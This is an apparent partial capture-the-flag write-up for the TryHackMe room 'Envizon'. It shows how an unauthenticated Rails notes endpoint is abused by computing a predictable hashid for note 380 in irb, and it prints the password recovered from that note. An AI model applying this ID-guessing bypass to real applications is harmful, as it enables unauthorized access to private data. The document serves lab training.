https://tryhackme.com/room/envizon

enizon.md

Envizon TryHackMe

Three hints to start:

This is not an empty instance. Imagine that it is/was used and therefore contains user data Currently a note function is under development When looking for code execution on the system, the most obvious way is the best - it is important to understand what the application does

Enumeration

nmap

..

Rails code

https://gitlab.com/evait-security/envizon_thm/-/blob/master/app/controllers/notes_controller.rb?ref_type=heads#L2

-> Show of notes is unauthenticated https://envizon.thm:3000/notes/1

Text: Hi Paul, for security reasons I added hashids with a length of 30 characters to notes. I stored the password for this envizon instance in the note with id 380 and sent you the link by email. We may should consider to add more security layers to this gem (https://github.com/dtaniwaki/acts_as_hashids)

https://github.com/dtaniwaki/acts_as_hashids

irb(main):005:0> Hashids.new("Note", 30, Hashids::DEFAULT_ALPHABET).encode(380)
=> "y2a419eKDBLRvEYobWNpw0jnr6xlAX"

https://envizon.thm:3000/notes/y2a419eKDBLRvEYobWNpw0jnr6xlAX

Text: Password for envizon: rE8ZqyM!DTKNP8fGu4T3CtWaurBQwLF